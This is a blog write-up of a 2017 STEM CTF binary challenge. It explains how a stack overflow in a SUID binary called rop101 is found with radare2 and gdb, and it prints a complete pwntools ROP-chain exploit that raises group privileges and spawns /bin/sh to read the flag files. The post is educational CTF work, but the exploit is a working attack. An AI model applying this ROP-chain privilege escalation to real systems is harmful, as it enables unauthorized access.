STEM CTF: Cyber Challenge 2017 Binary 150 Writeup
Posted on Sun 08 October 2017 in ctf
Wow, first post after 7 years of inactivity and its going to be my first CTF writeup. A couple of weeks ago I participated in the STEM CTF Cyber Challenge 2017 and would like to share some of my solutions in the next couple of posts.
Binary 150
We got a SSH command that connects you to the challenge server. On this server there are 4 files. 3 flags and a binary. The flag files are not readable by the current user but the binary has the SUID permission bit set and has the correct permissions. The binary is called rop101 and we probably can use it to get to the flags. First, I copied the binary to my local machine for further analysis. The file command tells us, that the binary is not stripped, nice. rabin2 (part of radare2) then reveals, that the binary uses the NX bit but does not use stack canaries. So judging by this and the name of the binary, this challenge probably involves return oriented programming.
$ scp -P 2200 challenge@10.0.2.3:rop101 . $ file rop101 rop101: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=0ecc4d4916dc994a3c597075f917e215b4a3e043, not stripped $ rabin2 -I rop101 arch x86 binsz 724218 bintype elf bits 32 canary false class ELF32 crypto false endian little havecode true lang c linenum true lsyms true machine Intel 80386 maxopsz 16 minopsz 1 nx true os linux pcalign 0 pic false relocs true rpath NONE static true stripped false subsys linux va true
Lets open it up in radare2, run a quick analysis and get an overview of the binary.
Mh, it prints a welcome message and then calls vuln_func. Lets see what it does.
So it reads 256 bytes from STDIN and writes them to a local variable on the stack that is smaller than 256 bytes. Using this we can overwrite the return address of the vuln_func on the stack and take control of the program flow. Lets first determine the position of the target address. In this case we could just calculate it but lets use a De Bruijn pattern for fun and education. A De Bruijn pattern is a sequence where all substrings can be assigned to a specific index of the sequence. In other words given only a substring of the sequence you can tell from which position in the main sequence the substring is from. Lets generate a 256 byte long pattern using ragg2 (also part of radare2) and give it to the binary, while it runs in gdb.
$ ragg2 -r -P 256 AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABY $ gdb ./rop101 GNU gdb (GDB) 8.0.1 Copyright (C) 2017 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-pc-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from ./rop101...(no debugging symbols found)...done. (gdb) run Starting program: /home/user/binary/150/rop101 ================================================ Welcome to ROP (return-oriented programming) 101 There's 3 flags Good luck ================================================ AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABY Program received signal SIGSEGV, Segmentation fault. 0x416d4141 in ?? () (gdb)
It crashed on address 0x416d4141. ragg2 can use the address to determine the position in the generated pattern.
$ ragg2 -q 0x416d4141 Little endian: 112 Big endian: 113
Since x86 is a little endian architecture our padding for the ROP chain has to be 112 bytes. Now we have to figure out if there are functions in the binary which can be used for our purposes. Using is* in radare2 to list all available symbols gives us a lot to work with. After looking at the output for a bit, I found some interesting symbol names.
- get_flag1
- setup_get_flag2
- get_flag2
- let_me_help_you
The first 3 functions executed in succession will read the first two flags from file system and print them. Unfortunately there seems to be no function for the third flag, but let_me_help_you allows for a more generic solution. The function sets the real and effective group IDs to the group that is able to access the flag files. Combining this with a ROP chain that executes /bin/sh should yield a shell that is able to access the flags.
I used ROPgadget to generate the ROP chain and pwntools to interact with the process or the SSH server.
#!/usr/bin/env python2 # To generate: # $ ropgadget --binary rop101 --ropchain # execve generated by ROPgadget from struct import pack # padding size we got from ragg2 p = 'A'*112 # old attempts #p += pack('<I', 0x080488B9) # get_flag1 #p += pack('<I', 0x08048921) # setup_get_flag2 #p += pack('<I', 0x0804892B) # get_flag2 p += pack('<I', 0x0804889B) # let_me_help_you p += pack('<I', 0x0806ee7a) # pop edx ; ret p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x080b7fc6) # pop eax ; ret p += '/bin' p += pack('<I', 0x080547cb) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806ee7a) # pop edx ; ret p += pack('<I', 0x080ea064) # @ .data + 4 p += pack('<I', 0x080b7fc6) # pop eax ; ret p += '//sh' p += pack('<I', 0x080547cb) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806ee7a) # pop edx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x08049413) # xor eax, eax ; ret p += pack('<I', 0x080547cb) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x080481c9) # pop ebx ; ret p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x080de7ed) # pop ecx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x0806ee7a) # pop edx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x08049413) # xor eax, eax ; ret p += pack('<I', 0x08056d6b) # inc eax ; ret p += pack('<I', 0x08056d6b) # inc eax ; ret p += pack('<I', 0x08056d6b) # inc eax ; ret p += pack('<I', 0x08056d6b) # inc eax ; ret p += pack('<I', 0x08056d6b) # inc eax ; ret p += pack('<I', 0x08056d6b) # inc eax ; ret p += pack('<I', 0x08056d6b) # inc eax ; ret p += pack('<I', 0x08056d6b) # inc eax ; ret p += pack('<I', 0x08056d6b) # inc eax ; ret p += pack('<I', 0x08056d6b) # inc eax ; ret p += pack('<I', 0x08056d6b) # inc eax ; ret p += pack('<I', 0x0806ca15) # int 0x80 from pwn import * from time import sleep context(arch = 'amd64', os = 'linux') # for SSH #s = ssh('challenge', '10.0.2.3', 2200, password="" ) #r = s.run('./rop101') # for local test r = process('./rop101') sleep(0.1) r.recv() r.send(p) r.send('\n') r.interactive()
Running this exploit gives us the following (local simulation):
[+] Starting local process './rop101': pid 27157 [*] Switching to interactive mode $ cat flag?.txt MCA{17649490FC6A9A54} MCA{DDBB13B9D5F4370F} MCA{789D0E9B2C7BE2E0} $
When we combine the 3 flags, we get the final solution: MCA{17649490FC6A9A54DDBB13B9D5F4370F789D0E9B2C7BE2E0}
Update (21. October 2017):
Since some visitors of this site might block the comments section provided by disqus (I completely understand, I block them too), I will add useful information from the comments to the main post.
A commenter pointed out that this solution does not work for them. I now tried to reproduce this locally, this time with the correct permissions and it is not working for me either (Arch Linux with /bin/bash symlinked to /bin/sh). I'm not 100% sure why this worked on the challenge server. My guess is that the challenge server used Debian and /bin/sh was actually /bin/dash or Debian patched bash to not drop privileges when symlinked to /bin/sh (This post on Stackoverflow suggests this).